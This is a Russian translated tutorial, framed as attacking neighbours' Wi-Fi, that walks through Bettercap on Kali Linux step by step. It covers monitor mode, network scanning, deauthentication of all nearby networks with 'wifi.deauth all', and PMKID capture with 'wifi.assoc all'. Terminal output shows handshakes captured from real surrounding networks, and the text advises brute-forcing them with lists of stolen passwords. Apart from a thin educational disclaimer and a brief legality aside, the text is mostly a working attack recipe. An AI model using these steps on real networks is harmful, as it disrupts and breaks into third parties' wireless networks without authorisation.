7 шагов для хакерской атаки на ближайшие точки Wi-Fi

Инструкция атаки с захватом PMKID соседских вай-фай точек, или как стать cool-hacker'ом за 30 минут. В качестве инструмента – Bettercap на Kali Linux.

Данная публикация является переводом статьи, который осуществлен с ознакомительными целями для обеспечения лучшей безопасности компьютерных сетей. Будьте бдительны, и не позволяйте злоумышленникам захватить контроль над вашей системой.

***

Существует множество инструментов для взлома Wi-Fi, но лишь немногие из них настолько продуманы как Bettercap: сканирование сетей, деаутентификация, скан устройств Bluetooth Low Energy, Probing-атака, спуфинг, быстрый сканер портов и многое другое.

Нашими целями сегодня будут два вида сетей: интерактивные (есть подключенные клиенты) и автономные (клиенты отсутствуют).

Интерактивные сети легче атаковать, против них работает большинство инструментов взлома. В такой сети есть клиенты, активно использующие ее для скачивания файлов, просмотра сериалов или просто серфинга в интернете.

С автономными сетями сложнее. Поскольку в них нет устройств с активным подключением и передачей данных, эти сети, как правило, не способны выдать нужную информацию. Но в Bettercap встроена возможность PMKID-атаки, поэтому все становится еще проще!

Брутфорс

Bettercap не взламывает пароли напрямую. После перехвата рукопожатия нужно будет использовать инструменты брутфорса – Hydra или Aircrack-ng, чтобы взломать хеши путем полного перебора. Как быстро это произойдет, зависит от нескольких факторов.

Первый – находится ли пароль в списке паролей для брутфорса. Если нет, то эта атака не увенчается успехом, поэтому очень важно использовать списки реальных украденных паролей или генераторы паролей.

Второй – производительность компьютера. Если она оставляет желать лучшего, то можно распределить расшифровку хендшейков между несколькими компьютерами для увеличения вычислительной мощности.

Что нам понадобится

Нам нужны Wi-Fi адаптер и Kali Linux. В Kali все нужные программы уже предустановлены, поэтому лучше выбрать его, а не Ubuntu.

Если при установке Kali возникнет ошибка «Your installation CD-ROM couldn’t be mounted. This probably means that the CD-ROM was not in the drive. If so you can insert it an try again», то перезапишите образ на флешку, используя balenaEtcher.

(Прим. переводчика)

1. Установка Bettercap

Bettercap в Kali расположен в папке «Sniffing & Spoofing» в меню «Приложения».


Если Bettercap отсутствует, установим его командой apt install bettercap, как показано ниже.

            ~# apt install bettercap

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
  liblinear3
Use 'apt autoremove' to remove it.
The following additional packages will be installed:
  bettercap-caplets
Suggested packages:
  bettercap-ui
The following NEW packages will be installed:
  bettercap bettercap-caplets
0 upgraded, 2 newly installed, 0 to remove and 1854 not upgraded.
Need to get 6,931 kB of archives.
After this operation, 25.8 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap amd64 2.26.1-0kali1 [6,821 kB]
Get:2 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap-caplets all 0+git20191009-0kali1 [110 kB]
Fetched 6,931 kB in 3s (2,332 kB/s)
Selecting previously unselected package bettercap.
(Reading database ... 417705 files and directories currently installed.)
Preparing to unpack .../bettercap_2.26.1-0kali1_amd64.deb ...
Unpacking bettercap (2.26.1-0kali1) ...
Selecting previously unselected package bettercap-caplets.
Preparing to unpack .../bettercap-caplets_0+git20191009-0kali1_all.deb ...
Unpacking bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap (2.26.1-0kali1) ...
bettercap.service is a disabled or a static unit, not starting it.
        

Для MacOS:

brew install bettercap

2. Запуск Bettercap

Когда все будет готово, нажмем на значок Bettercap, чтобы запустить его. В окне терминала должно появиться следующее справочное меню.

            Usage of bettercap:
  -autostart string
        Comma separated list of modules to auto start. (default "events.stream")
  -caplet string
        Read commands from this file and execute them in the interactive session.
  -cpu-profile file
        Write cpu profile file.
  -debug
        Print debug messages.
  -env-file string
        Load environment variables from this file if found, set to empty to disable environment persistence.
  -eval string
        Run one or more commands separated by ; in the interactive session, used to set variables via command line.
  -gateway-override string
        Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used.
  -iface string
        Network interface to bind to, if empty the default interface will be auto selected.
  -mem-profile file
        Write memory profile to file.
  -no-colors
        Disable output color effects.
  -no-history
        Disable interactive session history file.
  -silent
        Suppress all logs which are not errors.
  -version
        Print the version and exit.
        

Здесь мы видим команды, с которых можно начать работу в Bettercap. Одной из самых полезных является -iface, которая позволяет определить, с каким интерфейсом работать (когда интерфейсов больше одного, например, eth0 и wlan0).

3. Подготовка к сканированию

Теперь нужно перевести сетевой адаптер в режим мониторинга. Узнаем имя адаптера, при помощи команды ifconfig или ip a. Это должно быть что-то вроде wlan0 или wlan1.

            ~# ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 38625  bytes 3052647 (2.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38625  bytes 3052647 (2.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.5.93  netmask 255.255.255.0  broadcast 192.168.5.255
        inet6  prefixlen 64  scopeid 0x20<link>
        ether   txqueuelen 1000  (Ethernet)
        RX packets 451  bytes 119964 (117.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 364  bytes 115672 (112.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 18:d6:c7:0e:e7:a1  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        

Для переключения адаптера в режим мониторинга введем в терминале sudo airmon-ng start wlan1, где wlan1 – имя сетевого адаптера.

            ~# airmon-ng start wlan1

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  559 NetworkManager
  621 wpa_supplicant
14785 dhclient

PHY Interface   Driver      Chipset

phy0    wlan0       ath9k       Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
phy3    wlan1       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n

        (mac80211 monitor mode vif enabled for [phy3]wlan1 on [phy3]wlan1mon)
        (mac80211 station mode vif disabled for [phy3]wlan1)
        

Наберем ifconfig или ip a снова, чтобы проверить, запущен ли адаптер и как он теперь называется.

            ~# ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 38645  bytes 3053647 (2.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38645  bytes 3053647 (2.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.5.93  netmask 255.255.255.0  broadcast 192.168.5.255
        inet6  prefixlen 64  scopeid 0x20<link>
        ether  txqueuelen 1000  (Ethernet)
        RX packets 490  bytes 126996 (124.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 386  bytes 126911 (123.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 18-D6-C7-0E-E7-A1-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 1202  bytes 363761 (355.2 KiB)
        RX errors 0  dropped 1176  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        

Убедившись, что адаптер находится в режиме мониторинга, начнем работу с Bettercap, введя sudo bettercap --iface wlan1mon в новом окне терминала, заменив wlan1mon названием адаптера.

            ~# sudo bettercap --iface wlan1mon

bettercap v2.24.1 (built for linux amd64 with go1.12.7) [type 'help' for a list of commands]

wlan1  »
        

Как только откроется Bettercap, введем help, чтобы увидеть список всех запущенных модулей и команд. Модуль Wi-Fi по умолчанию не запускается.

            wlan1  » help

           help MODULE : List available commands or show module specific help if no module name is provided.
                active : Show information about active modules.
                  quit : Close the session and exit.
         sleep SECONDS : Sleep for the given amount of seconds.
              get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
        set NAME VALUE : Set the VALUE of variable NAME.
  read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
                 clear : Clear the screen.
        include CAPLET : Load and run this caplet in the current session.
             ! COMMAND : Execute a shell command and print its output.
        alias MAC NAME : Assign an alias to a given endpoint given its MAC address.

Modules

      any.proxy > not running
       api.rest > not running
      arp.spoof > not running
      ble.recon > not running
        caplets > not running
    dhcp6.spoof > not running
      dns.spoof > not running
  events.stream > running
            gps > not running
     http.proxy > not running
    http.server > not running
    https.proxy > not running
   https.server > not running
    mac.changer > not running
   mysql.server > not running
      net.probe > not running
      net.recon > running
      net.sniff > not running
   packet.proxy > not running
       syn.scan > not running
      tcp.proxy > not running
         ticker > not running
         update > not running
           wifi > not running
            wol > not running
        

4. Сканирование сети

Рассмотрим команды, управляющие модулем Wi-Fi, набрав help wifi.

            wlan1  » help wifi

wifi (running): A module to monitor and perform wireless attacks on 802.11.

        wifi.recon on : Start 802.11 wireless base stations discovery and channel hopping.
       wifi.recon off : Stop 802.11 wireless base stations discovery and channel hopping.
           wifi.clear : Clear all access points collected by the WiFi discovery module.
       wifi.recon MAC : Set 802.11 base station address to filter for.
     wifi.recon clear : Remove the 802.11 base station filter.
    wifi.deauth BSSID : Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.
     wifi.assoc BSSID : Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.
              wifi.ap : Inject fake management beacons in order to create a rogue access point.
  wifi.show.wps BSSID : Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).
            wifi.show : Show current wireless stations list (default sorting by essid).
   wifi.recon.channel : WiFi channels (comma separated) or 'clear' for channel hopping.

  Parameters

         wifi.ap.bssid : BSSID of the fake access point. (default=<random mac>)
       wifi.ap.channel : Channel of the fake access point. (default=1)
    wifi.ap.encryption : If true, the fake access point will use WPA2, otherwise it'll result as an open AP. (default=true)
          wifi.ap.ssid : SSID of the fake access point. (default=FreeWiFi)
       wifi.assoc.open : Send association requests to open networks. (default=false)
     wifi.assoc.silent : If true, messages from wifi.assoc will be suppressed. (default=false)
       wifi.assoc.skip : Comma separated list of BSSID to skip while sending association requests. (default=)
      wifi.deauth.open : Send wifi deauth packets to open networks. (default=true)
    wifi.deauth.silent : If true, messages from wifi.deauth will be suppressed. (default=false)
      wifi.deauth.skip : Comma separated list of BSSID to skip while sending deauth packets. (default=)
  wifi.handshakes.file : File path of the pcap file to save handshakes to. (default=~/bettercap-wifi-handshakes.pcap)
       wifi.hop.period : If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available). (default=250)
           wifi.region : Set the WiFi region to this value before activating the interface. (default=BO)
         wifi.rssi.min : Minimum WiFi signal strength in dBm. (default=-200)
      wifi.show.filter : Defines a regular expression filter for wifi.show (default=)
       wifi.show.limit : Defines limit for wifi.show (default=0)
        wifi.show.sort : Defines sorting field (rssi, bssid, essid, channel, encryption, clients, seen, sent, rcvd) and direction (asc or desc) for wifi.show (default=rssi asc)
      wifi.skip-broken : If true, dot11 packets with an invalid checksum will be skipped. (default=true)
      wifi.source.file : If set, the wifi module will read from this pcap file instead of the hardware interface. (default=)
          wifi.txpower : Set WiFi transmission power to this value before activating the interface. (default=30)
        

Для наших целей выберем модуль Wi-Fi Recon. Чтобы запустить его, наберем wifi.recon on. Как только сети начнут обнаруживаться, мы получим множество уведомлений, которые можно отключить командой events.stream off.

            wlan1  » wifi.recon on

[23:01:35] [sys.log] [inf] wifi WiFi region set to 'BO'
[23:01:35] [sys.log] [inf] wifi interface wlan1 txpower set to 30
[23:01:35] [sys.log] [inf] wifi started (min rssi: -200 dBm)
wlan1  » [23:01:35] [sys.log] [inf] wifi channel hopper started
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:43] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:53] [wifi.client.new] new station ████████████████████████████████████████████████████████████
        

5. Выявление целей

Чтобы посмотреть список обнаруженных сетей, введем wifi.show.

            wlan1  »  wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (TKIP, PSK) |     | 6  |         |        |        | 23:01:35 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | OPEN             |     | 6  | 1       | 400 B  | 66 B   | 23:01:36 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:36 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) | 2.0 | 5  | 1       | 7.1 kB | 128 B  | 23:01:37 |
| -66 dBm | ██:██:██:██:██:██ | ████████████████              | WPA (TKIP, PSK)  |     | 1  |         |        |        | 23:01:39 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:01:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:01:35 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | OPEN             |     | 11 |         |        |        | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ |                               | WPA2 (CCMP, PSK) | 2.0 | 6  |         | 3.9 kB |        | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ████████████████              | OPEN             |     | 1  | 1       |        | 177 B  | 23:01:35 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 1  |         |        |        | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  | 1       | 670 B  | 384 B  | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:37 |
| -87 dBm | ██:██:██:██:██:██ | █████████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 8  |         |        |        | 23:01:36 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:01:44 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | OPEN             |     | 6  | 1       | 228 B  | 1.2 kB | 23:01:43 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:44 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | OPEN             |     | 8  |         |        |        | 23:01:41 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:41 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:41 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:01:41 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:01:35 |
| -92 dBm | ██:██:██:██:██:██ | <hidden>                      | OPEN             |     | 6  |         |        |        | 23:01:37 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | █████████████████████████     | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:42 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:41 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 0 B / ↓ 1.5 MB / 6556 pkts
        

Видим массу информации: уровни принимаемого сигнала, виды шифрования, MAC-адреса т. п.

До атаки все сети будут зеленого цвета (в статье черно-белый цвет).

Когда цвет изменится на красный, это будет означать, что рукопожатие перехвачено.

Попробуем получить рукопожатия с помощью простого и проверенного метода – deauth (деаутентификация).

6. Деаутентификация

Чтобы запустить deauth, введем wifi.deauth, а затем MAC-адрес сети, которую хотим атаковать. Для атаки каждой найденной сети можно просто написать all или *, но имейте в виду, что это может быть незаконно.

            wlan1  » wifi.deauth all

wlan1  » [23:02:53] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:54] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:02:55] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:55] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:02:56] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:57] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:02:57] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:58] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:02:59] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:00] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:02] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:02] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:03] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
        

Через несколько минут наберем wifi.show и проверим, не изменился ли цвет с зеленого на красный. Если изменился, поздравляю, рукопожатия перехвачены.

            wlan1  » wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  | 5       | 12 kB  |        | 23:03:06 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | WPA2 (CCMP, PSK) |     | 6  | 1       | 6.5 kB | 66 B   | 23:03:04 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 | 2       | 1.2 kB |        | 23:03:04 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (CCMP, PSK) | 2.0 | 5  | 2       | 7.1 kB | 128 B  | 23:03:02 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  | 2       | 353 B  |        | 23:03:05 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  | 1       | 4.9 kB |        | 23:03:06 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:03:06 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:03:07 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  |         | 670 B  | 384 B  | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:03:01 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:03:02 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | WPA2 (CCMP, PSK) |     | 6  |         | 228 B  | 1.2 kB | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | WPA2 (CCMP, PSK) |     | 8  |         |        |        | 23:03:04 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:03:06 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         | 1.7 kB |        | 23:03:04 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:03:08 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:03:08 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:03:09 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:03:09 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 73 kB / ↓ 8.9 MB / 28100 pkts / 2 handshakes
        

Этот метод не работает против сетей, к которым не были подключены клиенты. Чтобы атаковать такие сети, запустим второй модуль.

7. Атака с захватом PMKID

Введем команду wifi.assoc, затем MAC-адрес, который мы хотим атаковать или all, или * для выбора всех сетей.

Чтобы снова получать уведомления, введем events.stream on.

            wlan1  » wifi.assoc all

wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
        

Теперь, когда мы попробовали оба инструмента, давайте посмотрим на результаты с wifi.show. Если повезет, мы увидим больше сетей в красном цвете.

Собранные рукопожатия из 5 сетей <hidden>

            wlan1  » wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  | 5       | 12 kB  |        | 23:04:36 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | WPA2 (CCMP, PSK) |     | 6  | 1       | 6.5 kB | 66 B   | 23:04:34 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 | 2       | 1.2 kB |        | 23:04:34 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (CCMP, PSK) | 2.0 | 5  | 2       | 7.1 kB | 128 B  | 23:04:32 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:04:36 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  | 2       | 353 B  |        | 23:04:35 |
